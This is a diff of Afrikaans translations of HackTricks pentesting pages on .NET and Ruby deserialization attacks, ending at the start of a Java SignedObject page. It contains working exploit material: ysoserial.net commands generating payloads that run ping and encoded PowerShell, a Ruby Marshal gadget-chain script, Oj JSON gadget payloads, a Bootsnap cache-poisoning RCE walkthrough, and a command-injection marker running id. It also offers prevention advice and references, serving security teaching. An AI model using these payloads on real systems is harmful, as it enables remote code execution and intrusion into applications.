ASCII gewerk, maar dit beteken nie dat dit altyd sal werk nie)._ -- **`--plugin`** ysoserial.net ondersteun plugins om **ontginnings vir spesifieke raamwerke** soos ViewState te maak. +- **`--gadget`** gebruik om die gadget aan te dui wat misbruik gaan word (wys die klas/funksie wat tydens deserialisering misbruik sal word om commands uit te voer). +- **`--formatter`**, gebruik om die metode aan te dui om die exploit te serialiseer (jy moet weet watter library die back-end gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer) +- **`--output`** gebruik om aan te dui of jy die exploit in **raw** of **base64** geënkodeerd wil hê. _Let daarop dat **ysoserial.net** die payload met **UTF-16LE** sal **encode** (encoding wat standaard op Windows gebruik word) so as jy die raw kry en dit net vanaf 'n linux konsole encode, mag jy sommige **encoding compatibility problems** hê wat verhoed dat die exploit behoorlik werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk maar dit beteken nie dit sal altyd werk nie)._ +- **`--plugin`** ysoserial.net ondersteun plugins om **exploits vir spesifieke frameworks** soos ViewState te skep -#### Meer ysoserial.net parameters +#### Meer ysoserial.net-parameters -- `--minify` sal 'n **kleiner payload** bied (indien moontlik) -- `--raf -f Json.Net -c "anything"` Dit sal al die gadgets aandui wat met 'n gegewe formatter gebruik kan word (`Json.Net` in hierdie geval) -- `--sf xml` jy kan **'n gadget** (`-g`) aandui en ysoserial.net sal soek na formatters wat "xml" bevat (nie hoofletters sensitief nie) +- `--minify` sal 'n **kleiner payload** voorsien (indien moontlik) +- `--raf -f Json.Net -c "anything"` Dit sal alle gadgets aandui wat saam met 'n gegewe formatter gebruik kan word (`Json.Net` in hierdie geval) +- `--sf xml` jy kan **'n gadget aandui** (`-g`) en ysoserial.net sal soek na formatters wat "xml" bevat (case insensitive) -**ysoserial voorbeelde** om ontginnings te skep: +**ysoserial examples** to create exploits: ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 @@ -740,7 +751,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S ``` **ysoserial.net** het ook 'n **baie interessante parameter** wat help om beter te verstaan hoe elke exploit werk: `--test`\ As jy hierdie parameter aandui, sal **ysoserial.net** die **exploit plaaslik probeer,** sodat jy kan toets of jou payload korrek sal werk.\ -Hierdie parameter is nuttig omdat jy, as jy die kode hersien, stukke kode soos die volgende een (uit [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)) sal vind: +Hierdie parameter is nuttig omdat, as jy die kode hersien, jy stukke kode sal vind soos die volgende een (van [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) { @@ -754,7 +765,7 @@ Debugging.ShowErrors(inputArgs, err); } } ``` -Dit beteken dat om die eksploit te toets, die kode [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) sal aanroep. +Dit beteken dat, om die exploit te toets, die kode [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) sal aanroep. ```java public static object JsonNet_deserialize(string str) { @@ -765,46 +776,45 @@ TypeNameHandling = TypeNameHandling.Auto return obj; } ``` -In die **vorige kode is kwesbaar vir die ontploffing wat geskep is**. So as jy iets soortgelyks in 'n .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook kwesbaar is.\ -Daarom laat die **`--test`** parameter ons toe om te verstaan **watter stukke kode kwesbaar is** vir die deserialisasie-ontploffing wat **ysoserial.net** kan skep. +In die **vorige kode kwesbaar is vir die geskepte exploit**. Dus, as jy iets soortgelyks in 'n .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook kwesbaar is. Daarom laat die **`--test`** parameter ons toe om te verstaan **watter gedeeltes van kode kwesbaar is** vir die deserialization exploit wat **ysoserial.net** kan skep. ### ViewState -Kyk na [hierdie POST oor **hoe om te probeer om die \_\_ViewState parameter van .Net te ontplof**](exploiting-__viewstate-parameter.md) om **arbitraire kode uit te voer.** As jy **reeds die geheime** wat deur die slagoffer masjien gebruik word, ken, [**lees hierdie pos om te weet hoe om kode uit te voer**](exploiting-__viewstate-knowing-the-secret.md)**.** +Kyk na [hierdie POST oor **hoe om te probeer die \_\_ViewState parameter of .Net te exploiteer**](exploiting-__viewstate-parameter.md) om **arbitraire kode uit te voer.** As jy **reeds die secrets** gebruik deur die slagoffer se masjien ken, [**lees hierdie post om te weet hoe om kode uit te voer**](exploiting-__viewstate-knowing-the-secret.md). -### Preventie +### Prevention -Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder: +Om die risiko's verbonde aan deserialization in .Net te beperk: -- **Vermy om datastrome toe te laat om hul objektipe te definieer.** Gebruik `DataContractSerializer` of `XmlSerializer` wanneer moontlik. +- **Vermy om datastrome toe te laat om hul objektipe te definieer.** Gebruik `DataContractSerializer` of `XmlSerializer` waar moontlik. - **Vir `JSON.Net`, stel `TypeNameHandling` op `None`:** `TypeNameHandling = TypeNameHandling.None` -- **Vermy om `JavaScriptSerializer` met 'n `JavaScriptTypeResolver` te gebruik.** -- **Beperk die tipes wat gedeserialiseer kan word**, terwyl jy die inherente risiko's van .Net tipes verstaan, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei. -- **Wees versigtig met tipes wat riskante eienskappe het**, soos `System.ComponentModel.DataAnnotations.ValidationException` met sy `Value` eienskap, wat uitgebuit kan word. -- **Beheer tipe-instansiasie veilig** om te voorkom dat aanvallers die deserialisasieproses beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar maak. +- **Vermy die gebruik van `JavaScriptSerializer` met 'n `JavaScriptTypeResolver`.** +- **Beperk die tipes wat gedeserialize kan word**, en verstaan die inherente risiko's met .Net-tipes, soos `System.IO.FileInfo`, wat server-lêer eienskappe kan wysig en moontlik tot denial of service-aanvalle kan lei. +- **Wees versigtig met tipes wat riskante eienskappe het**, soos `System.ComponentModel.DataAnnotations.ValidationException` met sy `Value`-eienskap, wat uitgebuit kan word. +- **Beheer tipe-instansiering op 'n veilige wyse** om te verhoed dat aanvallers die deserialization-proses beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar kan maak. - **Implementeer witlysbeheer** met 'n pasgemaakte `SerializationBinder` vir `BinaryFormatter` en `JSON.Net`. -- **Bly ingelig oor bekende onveilige deserialisasie gadgets** binne .Net en verseker dat deserializers nie sulke tipes instansieer nie. -- **Isolateer potensieel riskante kode** van kode met internettoegang om te voorkom dat bekende gadgets, soos `System.Windows.Data.ObjectDataProvider` in WPF-toepassings, aan onbetroubare databronne blootgestel word. +- **Bly ingelig oor bekende onveilige deserialization gadgets** binne .Net en vergewis jou dat deserializers nie sulke tipes instansieer nie. +- **Isoleer potensieel riskante kode** van kode met internettoegang om te voorkom dat bekende gadgets, soos `System.Windows.Data.ObjectDataProvider` in WPF-toepassings, aan onbetroubare databronne blootgestel word. -### **Verwysings** +### **References** -- Java en .Net JSON deserialisasie **papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** praat: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) en skyfies: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Java en .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -In Ruby word serialisering gefasiliteer deur twee metodes binne die **marshal** biblioteek. Die eerste metode, bekend as **dump**, word gebruik om 'n objek na 'n byte-stroom te transformeer. Hierdie proses word serialisering genoem. Omgekeerd word die tweede metode, **load**, gebruik om 'n byte-stroom terug na 'n objek te herstel, 'n proses bekend as deserialisering. +In Ruby word serialization gefasiliteer deur twee metodes binne die **marshal**-biblioteek. Die eerste metode, bekend as **dump**, word gebruik om 'n objek na 'n bytestraam om te skakel. Hierdie proses word serialization genoem. Omgekeerd word die tweede metode, **load**, aangewend om 'n bytestraam terug in 'n objek te herstel, 'n proses bekend as deserialization. -Vir die beveiliging van geserialiseerde objek, **gebruik Ruby HMAC (Hash-Based Message Authentication Code)**, wat die integriteit en egtheid van die data verseker. Die sleutel wat vir hierdie doel gebruik word, word in een van verskeie moontlike plekke gestoor: +Vir die beveiliging van serialized objects gebruik **Ruby HMAC (Hash-Based Message Authentication Code)** om die integriteit en egtheid van die data te verseker. Die sleutel wat hiervoor gebruik word, word in een van die volgende plekke gestoor: - `config/environment.rb` - `config/initializers/secret_token.rb` - `config/secrets.yml` - `/proc/self/environ` -**Ruby 2.X generiese deserialisering na RCE gadget ketting (meer inligting in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: +**Ruby 2.X generic deserialization to RCE gadget chain (meer inligting by** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):** ```ruby #!/usr/bin/env ruby @@ -875,18 +885,18 @@ require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` -Ander RCE-ketting om Ruby On Rails te benut: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +Nog 'n RCE-ketting om Ruby On Rails te exploiteer: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) ### Ruby .send() metode -Soos verduidelik in [**hierdie kwesbaarheid verslag**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), as 'n gebruiker ongesuiwerde invoer by die `.send()` metode van 'n ruby objek kom, laat hierdie metode toe om **enige ander metode** van die objek met enige parameters aan te roep. +Soos verduidelik in [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), as 'n ongefilterde invoer van 'n gebruiker die `.send()` metode van 'n Ruby-objek bereik, laat hierdie metode toe om **enige ander metode** van die objek met enige parameters aan te roep. -Byvoorbeeld, om eval aan te roep en dan ruby kode as tweede parameter sal toelaat om arbitrêre kode uit te voer: +Byvoorbeeld, deur eval aan te roep en dan Ruby-kode as tweede parameter te gee, sal dit toelaat om ewekansige kode uit te voer: ```ruby .send('eval', '') == RCE ``` -Boonop, as slegs een parameter van **`.send()`** deur 'n aanvaller beheer word, soos in die vorige skrywe genoem, is dit moontlik om enige metode van die objek aan te roep wat **nie argumente benodig nie** of waarvan die argumente **standaardwaardes** het.\ -Vir hierdie doel is dit moontlik om al die metodes van die objek te enumereer om **sommige interessante metodes te vind wat aan daardie vereistes voldoen**. +Verder, as slegs een parameter van **`.send()`** deur 'n attacker beheer word, soos in die vorige writeup genoem, is dit moontlik om enige metode van die object aan te roep wat **geen argumente benodig** of waarvan die argumente **standaardwaardes** het.\ +Hiervoor is dit moontlik om al die metodes van die object te enumereer om **sommige interessante metodes te vind wat daardie vereistes vervul**. ```ruby .send('') @@ -908,23 +918,23 @@ candidate_methods = repo_methods.select() do |method_name| end candidate_methods.length() # Final number of methods=> 3595 ``` -### Ruby klas besoedeling +### Ruby class pollution -Kyk hoe dit moontlik kan wees om 'n [Ruby klas te besoedel en dit hier te misbruik](ruby-class-pollution.md). +Kyk hoe dit moontlik kan wees om [’n Ruby class te besoedel en dit hier te misbruik](ruby-class-pollution.md). -### Ruby _json besoedeling +### Ruby _json pollution -Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die backend byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang uitgevoer word. +Wanneer jy in ’n body sekere waardes stuur wat nie hashable is nie, soos ’n array, sal dit bygevoeg word onder ’n nuwe sleutel genaamd `_json`. Dit is egter moontlik vir ’n aanvaller om ook in die body ’n waarde met die naam `_json` te stel met arbitêre waardes wat hy wil hê. Indien die backend byvoorbeeld die geldigheid van ’n parameter nagaan maar daarna ook die `_json`-parameter gebruik om ’n aksie uit te voer, kan daar ’n autorisasie-omseiling plaasvind. -Kyk meer inligting in die [Ruby _json besoedeling bladsy](ruby-_json-pollution.md). +Kry meer inligting op die [Ruby _json pollution page](ruby-_json-pollution.md). ### Ander biblioteke -Hierdie tegniek is geneem [**uit hierdie blogpos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Hierdie tegniek is geneem [**uit hierdie blogpost**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). -Daar is ander Ruby biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is nie (funksie om te misbruik om RCE te verkry basies): +Daar is ander Ruby biblioteke wat gebruik kan word om objects te serialize en wat dus misbruik kan word om RCE te verkry tydens ’n insecure deserialization. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat aangeroep word van die gelaaide library wanneer dit ontserealiseer word (funksie om te misbruik om RCE te kry basies): -
BiblioteekInvoerdataKick-off metode binne klas
Marshal (Ruby)Binêr_load
OjJSONhash (klas moet in hash(map) as sleutel geplaas word)
OxXMLhash (klas moet in hash(map) as sleutel geplaas word)
Psych (Ruby)YAMLhash (klas moet in hash(map) as sleutel geplaas word)
init_with
JSON (Ruby)JSONjson_create ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))
+
BiblioteekInvoerdataAanvangsmetode in klas
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))
Basiese voorbeeld: ```ruby @@ -948,7 +958,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spesifikasie sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL te verkry, wat 'n uitstekende detektor van hierdie soort ongesuiwerde deserialisering kwesbaarhede bied. +By die poging om Oj te misbruik, was dit moontlik om 'n gadget class te vind wat binne sy `hash`-funksie `to_s` sal aanroep, wat spec sal aanroep, wat op sy beurt fetch_path sal aanroep wat aangepas kon word om 'n toevallige URL te haal, en sodoende 'n uitstekende detektor vir hierdie soort onsaniteerde deserialisering-kwesbaarhede bied. ```json { "^o": "URI::HTTP", @@ -960,7 +970,7 @@ In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget kla "password": "anypw" } ``` -Boonop, is daar gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep word, wat 'n vereiste is om 'n ander gadget te misbruik om dit in 'n volledige RCE te transformeer met iets soos: +Verder is gevind dat met die vorige tegniek ook 'n gids in die stelsel geskep word, wat 'n vereiste is om nog 'n gadget te misbruik om dit in 'n volledige RCE te omskep met iets soos: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -982,48 +992,50 @@ Boonop, is daar gevind dat met die vorige tegniek 'n gids ook in die stelsel ges } } ``` -Check vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Kyk vir meer besonderhede in die [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). ### Bootstrap Caching -Nie regtig 'n deserialisering kwesbaarheid nie, maar 'n lekker truuk om bootstrap caching te misbruik om RCE uit 'n rails-toepassing te verkry met 'n arbitrêre lêer skryf (vind die volledige [oorspronklike pos hier](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). +Nie regtig 'n desearilization vuln nie, maar 'n nette truuk om bootstrap caching te misbruik om RCE te kry uit 'n rails application met 'n arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). -Hieronder is 'n kort opsomming van die stappe wat in die artikel uiteengesit word om 'n arbitrêre lêer skryf kwesbaarheid te benut deur Bootsnap caching te misbruik: +Hieronder is 'n kort opsomming van die stappe wat in die artikel bespreek word vir die uitbuiting van 'n arbitrary file write kwesbaarheid deur Bootsnap caching te misbruik: -- Identifiseer die Kwesbaarheid en Omgewing +- Identify the Vulnerability and Environment -Die Rails-app se lêer oplaai funksionaliteit laat 'n aanvaller toe om lêers arbitrêr te skryf. Alhoewel die app met beperkings loop (slegs sekere gidsen soos tmp is skryfbaar weens Docker se nie-root gebruiker), laat dit steeds skryf na die Bootsnap cache gids (tipies onder tmp/cache/bootsnap). + Die Rails-app se file upload funksionaliteit laat 'n aanvaller toe om lêers arbitrêr te skryf. Alhoewel die app met beperkinge loop (slegs sekere gidse soos tmp is skryfbaar weens Docker’s non-root user), maak dit steeds moontlik om na die Bootsnap cache directory te skryf (gewoonlik onder tmp/cache/bootsnap). -- Verstaan Bootsnap se Cache Meganisme +- Understand Bootsnap’s Cache Mechanism -Bootsnap versnel Rails opstart tye deur gecompileerde Ruby kode, YAML, en JSON lêers te cache. Dit stoor cache lêers wat 'n cache sleutel kopstuk insluit (met velde soos Ruby weergawe, lêer grootte, mtime, compile opsies, ens.) gevolg deur die gecompileerde kode. Hierdie kopstuk word gebruik om die cache te valideer tydens app opstart. + Bootsnap speeds up Rails boot times deur gecompileerde Ruby code, YAML, en JSON lêers te cache. Dit stoor cache-lêers wat 'n cache key header insluit (met velde soos Ruby version, file size, mtime, compile options, ens.) gevolg deur die gecompileerde code. Hierdie header word gebruik om die cache tydens app startup te valideer. -- Verskaf Lêer Metadata +- Gather File Metadata -Die aanvaller kies eers 'n teikenlêer wat waarskynlik tydens Rails opstart gelaai word (byvoorbeeld, set.rb van Ruby se standaard biblioteek). Deur Ruby kode binne die houer uit te voer, onttrek hulle kritieke metadata (soos RUBY_VERSION, RUBY_REVISION, grootte, mtime, en compile_option). Hierdie data is noodsaaklik om 'n geldige cache sleutel te skep. + Die aanvaller kies eers 'n teikenlêer wat waarskynlik tydens Rails startup gelaai word (byvoorbeeld set.rb vanaf Ruby’s standaardbiblioteek). Deur Ruby-code binne die container uit te voer, haal hulle kritieke metadata uit (soos RUBY_VERSION, RUBY_REVISION, size, mtime, en compile_option). Hierdie data is noodsaaklik om 'n geldige cache key te vervaardig. -- Bereken die Cache Lêer Pad +- Compute the Cache File Path -Deur Bootsnap se FNV-1a 64-bit hash meganisme te repliseer, word die korrekte cache lêer pad bepaal. Hierdie stap verseker dat die kwaadwillige cache lêer presies geplaas word waar Bootsnap dit verwag (byvoorbeeld, onder tmp/cache/bootsnap/compile-cache-iseq/). + Deur Bootsnap’s FNV-1a 64-bit hash-meganisme te repliseer, word die korrekte cache-lêerpad bepaal. Hierdie stap verseker dat die kwaadwillige cache-lêer presies geplaas word waar Bootsnap dit verwag (bv. onder tmp/cache/bootsnap/compile-cache-iseq/). -- Skep die Kwaadwillige Cache Lêer +- Craft the Malicious Cache File -Die aanvaller berei 'n payload voor wat: + Die aanvaller berei 'n payload voor wat: + - Executes arbitrary commands (for example, running id to show process info). + - Verwyder die kwaadwillige cache na uitvoering om recursive uitbuiting te voorkom. + - Laai die oorspronklike lêer (bv. set.rb) om te voorkom dat die toepassing crash. -- Arbitrêre opdragte uitvoer (byvoorbeeld, om id te loop om proses inligting te wys). -- Verwyder die kwaadwillige cache na uitvoering om herhalende uitbuiting te voorkom. -- Laai die oorspronklike lêer (byvoorbeeld, set.rb) om te verhoed dat die toepassing ineenstort. + Hierdie payload word in binêre Ruby-code gecompileer en aanmekaar geplak met 'n noukeurig opgeboude cache key header (gebruikende die vooraf versamelde metadata en die korrekte weergavenommer vir Bootsnap). -Hierdie payload word in binêre Ruby kode gecompileer en saamgevoeg met 'n sorgvuldig saamgestelde cache sleutel kopstuk (met die voorheen versamelde metadata en die korrekte weergawe nommer vir Bootsnap). +- Overwrite and Trigger Execution -- Oorskry en Trigger Uitvoering -Met behulp van die arbitrêre lêer skryf kwesbaarheid, skryf die aanvaller die saamgestelde cache lêer na die berekende ligging. Volgende, trigger hulle 'n bediener herstart (deur te skryf na tmp/restart.txt, wat deur Puma gemonitor word). Tydens herstart, wanneer Rails die geteikende lêer benodig, word die kwaadwillige cache lêer gelaai, wat lei tot afstands kode uitvoering (RCE). + Deur die arbitrary file write kwesbaarheid te gebruik, skryf die aanvaller die vervaardigde cache-lêer na die berekende ligging. Daarna trigger hulle 'n server herbegin (deur te skryf na tmp/restart.txt, wat deur Puma gemonitord word). Tydens die herbegin, wanneer Rails die geteikenlêer require, word die kwaadwillige cache-lêer gelaai, wat lei tot remote code execution (RCE). -### Ruby Marshal uitbuiting in praktyk (geupdate) -Behandel enige pad waar onbetroubare bytes `Marshal.load`/`marshal_load` bereik as 'n RCE sink. Marshal herbou arbitrêre objek grafieke en trigger biblioteek/gem callbacks tydens materialisering. -- Minimale kwesbare Rails kode pad: +### Ruby Marshal exploitation in practice (updated) + +Behandel enige pad waar onbetroubare bytes by `Marshal.load`/`marshal_load` uitkom as 'n RCE-sink. Marshal rekonstrueer arbitrary object graphs en trigger library/gem callbacks tydens materialization. + +- Minimal vulnerable Rails code path: ```ruby class UserRestoreController < ApplicationController def show @@ -1037,37 +1049,38 @@ end end end ``` -- Algemene gadgetklasse gesien in werklike kettings: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. -- Tipiese newe-effekmerker ingebed in payloads (uitgevoer tydens unmarshal): +- Algemene gadget-klasse wat in werklike kettings gesien word: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. +- Tipiese neweffek-merker ingebed in payloads (uitgevoer tydens unmarshal): ``` *-TmTT="$(id>/tmp/marshal-poc)"any.zip ``` -Waar dit in werklike toepassings voorkom: -- Rails-kas en sessiestore wat histories Marshal gebruik -- Agtergrondtaak agtergronde en lêer-ondersteunde objekwinkels -- Enige persoonlike volharding of vervoer van binêre objekblobs +Waar dit na vore kom in werklike apps: +- Rails cache stores en session stores wat histories Marshal gebruik het +- Background job backends en file-backed object stores +- Enige pasgemaakte persistentie of vervoer van binêre object-blobs -Geïndustrialiseerde gadgetontdekking: -- Grep vir konstruktors, `hash`, `_load`, `init_with`, of newe-effekmetodes wat tydens unmarshal aangeroep word -- Gebruik CodeQL se Ruby onveilige deserialisering navrae om bronne → sinke te spoor en gadgets te ontdek -- Verifieer met publieke multi-formaat PoCs (JSON/XML/YAML/Marshal) +Geïndustrialiseerde gadget-ontdekking: +- Grep vir konstruktors, `hash`, `_load`, `init_with`, of metode met newe-effekte wat tydens unmarshal aangeroep word +- Gebruik CodeQL’s Ruby unsafe deserialization queries om sources → sinks te spoor en gadgets te identifiseer +- Valideer met openbare multi-formaat PoCs (JSON/XML/YAML/Marshal) ## Verwysings -- Trail of Bits – Marshal madness: 'n kort geskiedenis van Ruby deserialisering eksploit: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ -- elttam – Ruby 2.x Universele RCE Deserialisering Gadget Ketting: https://www.elttam.com/blog/ruby-deserialization/ -- Phrack #69 – Rails 3/4 Marshal ketting: https://phrack.org/issues/69/12.html -- CVE-2019-5420 (Rails 5.2 onveilige deserialisering): https://nvd.nist.gov/vuln/detail/CVE-2019-5420 -- ZDI – RCE via Ruby on Rails Aktiewe Berging onveilige deserialisering: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization -- Include Security – Ontdekking van gadgetkettings in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/ -- GitHub Security Lab – Ruby onveilige deserialisering (navraag hulp): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/ +- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ +- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/ +- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html +- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420 +- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization +- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/ +- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/ - GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization - Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1 -- Luke Jahnke – Ruby 3.4 universele ketting: https://nastystereo.com/security/ruby-3.4-deserialization.html -- Luke Jahnke – Gem::SafeMarshal ontsnapping: https://nastystereo.com/security/ruby-safe-marshal-escape.html -- Ruby 3.4.0-rc1 vrystelling: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 -- Ruby regstelling PR #12444: https://github.com/ruby/ruby/pull/12444 -- Trail of Bits – Ouditering van RubyGems.org (Marshal bevindings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ +- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html +- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html +- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 +- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444 +- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ +- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md new file mode 100644 index 000000000..a8788d691 --- /dev/null +++ b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md @@ -0,0 +1,140 @@ +# Java SignedObject-beheerde Deserialisering en Pre-auth bereikbaarheid via foutpaaie + +{{#include ../../banners/hacktricks-training.md}} + +Hierdie bladsy dokumenteer 'n algemene "beheerde" Java deserialisering-patroon opgebou rondom java.security.SignedObject en hoe skynbaar onbereikbare sinks pre-auth bereikbaar kan word via fout-handhavingsvloei. Die tegniek is waargeneem in Fortra GoAnywhere MFT (CVE-2025-10035) maar is van toepassing op soortgelyke ontwerpe. + +## Bedreigingsmodel + +- Aanvaller kan 'n HTTP-endpoint bereik wat uiteindelik 'n aanvaller-voorsiene byte[] verwerk wat bedoel is om 'n geserialiseerde SignedObject te wees. 